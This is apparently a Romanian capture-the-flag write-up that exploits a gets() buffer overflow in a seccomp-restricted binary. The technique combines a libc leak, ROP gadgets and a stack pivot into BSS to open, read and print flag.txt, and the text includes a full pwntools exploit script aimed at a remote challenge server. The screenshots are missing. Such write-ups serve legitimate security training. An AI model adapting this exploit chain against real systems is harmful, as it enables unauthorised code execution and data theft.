Sumar
- Buffer overflow clasic folosind functia vulnerabila
gets() - Seccomp sandbox care restrictioneaza syscall-urile disponibile doar la
open,readsiwrite - ROP (Return Oriented Programming) pentru a ocoli protectia NX
- Stack pivoting pentru a transfera controlul catre un ROP chain stocat in memorie
- Libc leak pentru a obtine adresele gadget-urilor din libc
Principala dificultate a fost gestionarea file descriptor-ului returnat de open(). Acesta se afla in registrul
rax, dar trebuie mutat in rdi pentru apelul read(). Lipsa unui gadget direct mov rdi, rax; ret a necesitat o
solutie creativa bazata pe stocarea valorii in memorie si stack pivoting.
Dovada rezolvarii
Analizam binarul cu checksec:

In IDA, functia main: 1318 este init, 137D este sandbox-ul, 1448 este setup_seccomp,
1566 este vuln – buffer overflow:

In sub_401566:

- Buffer-ul are 128 bytes (
0x80) gets()citeste fara limita = buffer overflow- Putem suprascrie return address-ul dupa
128 + 8 = 136bytes (buffer + saved rbp)
In sub_401448 doar 3 syscall-uri sunt permise: 0 – read, 1 – write, 2 – open:

Deci exploit-ul este in mai multe stagii:
Stage 1: Leak libc address prin puts@plt pentru puts@got, apoi return la vuln pentru al doilea input.
Stage 2:
read(0, bss, 9)- citeste “flag.txt” in sectiunea BSSread(0, bss+0x200, 0x100)- citeste ROP template tot in BSSopen(bss, 0, 0)- deschide flag.txt, fd-ul returnat e inraxmov [bss+0x210], rax- stocheaza fd-ul in memorie folosind un gadget special- Stack pivot la
bss+0x200folosindleave; ret
Dupa stack pivot, ROP chain-ul din BSS se executa: pop rdi citeste fd-ul stocat la bss+0x210,
read(fd, bss+0x100, 0x100) citeste continutul flag.txt, write(1, bss+0x100, 0x100) afiseaza flag-ul.
Problema principala a fost mutarea fd-ului din rax in rdi. Nu exista gadget direct mov rdi, rax; ret
in libc. Asadar solutia a fost mai intai sa stocam rax in memorie cu gadget-ul mov qword ptr [rsi], rax; ret,
apoi sa facem stack pivot in BSS unde e ROP chain-ul.
Gadget-urile folosite din libc:
0x2a3e5 : pop rdi ; ret
0x2be51 : pop rsi ; ret
0x904a9 : pop rdx ; pop rbx ; ret
0x45eb0 : pop rax ; ret
0x91316 : syscall ; ret
0x1222be : mov qword ptr [rsi], rax ; mov eax, 1 ; ret
0x2a2e0 : pop rbp ; ret
0x4da83 : leave ; ret
Atentie la gadget-ul syscall. La adresa 0x29db4 exista syscall; jmp care nu returneaza corect.
Am folosit 0x91316 care e syscall; ret.
Pe scurt, stack pivotul functioneaza asa:
pop rbppunebss+0x200inrbpleavefacemov rsp, rbp; pop rbp- acumrsp = bss+0x208retsare labss+0x208 = pop_rdipop rdiia valoarea de labss+0x210 = fd-ul nostru
from pwn import *
context.arch = "amd64"
elf = ELF("./dev/main", checksec=False)
libc = ELF("./dev/libc.so.6", checksec=False)
p = remote("35.198.137.88", 32729)
bss = 0x4040F0
off = 0x88
p.recvuntil(b"Hello! What is your name?\n")
pay1 = (
b"A" * off
+ p64(0x401316)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
+ p64(0x401566)
)
p.sendline(pay1)
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["puts"]
p.recvuntil(b"Hello! What is your name?\n")
pop_rdi = libc.address + 0x2A3E5
pop_rsi = libc.address + 0x2BE51
pop_rdx_rbx = libc.address + 0x904A9
pop_rax = libc.address + 0x45EB0
syscall = libc.address + 0x91316
store = libc.address + 0x1222BE
pop_rbp = libc.address + 0x2A2E0
leave = libc.address + 0x4DA83
pay2 = b"A" * off
pay2 += (
p64(pop_rax) + p64(0)
+ p64(pop_rdi) + p64(0)
+ p64(pop_rsi) + p64(bss)
+ p64(pop_rdx_rbx) + p64(9) + p64(0)
+ p64(syscall)
)
pay2 += (
p64(pop_rax) + p64(0)
+ p64(pop_rdi) + p64(0)
+ p64(pop_rsi) + p64(bss + 0x200)
+ p64(pop_rdx_rbx) + p64(0x100) + p64(0)
+ p64(syscall)
)
pay2 += (
p64(pop_rax) + p64(2)
+ p64(pop_rdi) + p64(bss)
+ p64(pop_rsi) + p64(0)
+ p64(pop_rdx_rbx) + p64(0) + p64(0)
+ p64(syscall)
)
pay2 += p64(pop_rsi) + p64(bss + 0x210) + p64(store)
pay2 += p64(pop_rbp) + p64(bss + 0x200) + p64(leave)
p.sendline(pay2)
sleep(0.3)
p.send(b"flag.txt\x00")
sleep(0.3)
rop = p64(0x4141414141414141) + p64(pop_rdi) + p64(0xDEADBEEF)
rop += (
p64(pop_rsi) + p64(bss + 0x100)
+ p64(pop_rdx_rbx) + p64(0x100) + p64(0)
+ p64(pop_rax) + p64(0)
+ p64(syscall)
)
rop += (
p64(pop_rdi) + p64(1)
+ p64(pop_rsi) + p64(bss + 0x100)
+ p64(pop_rdx_rbx) + p64(0x100) + p64(0)
+ p64(pop_rax) + p64(1)
+ p64(syscall)
)
p.send(rop.ljust(0x100, b"\x00"))
sleep(2)
print(p.recvall(timeout=3))
Rezultatul afiseaza flag-ul:
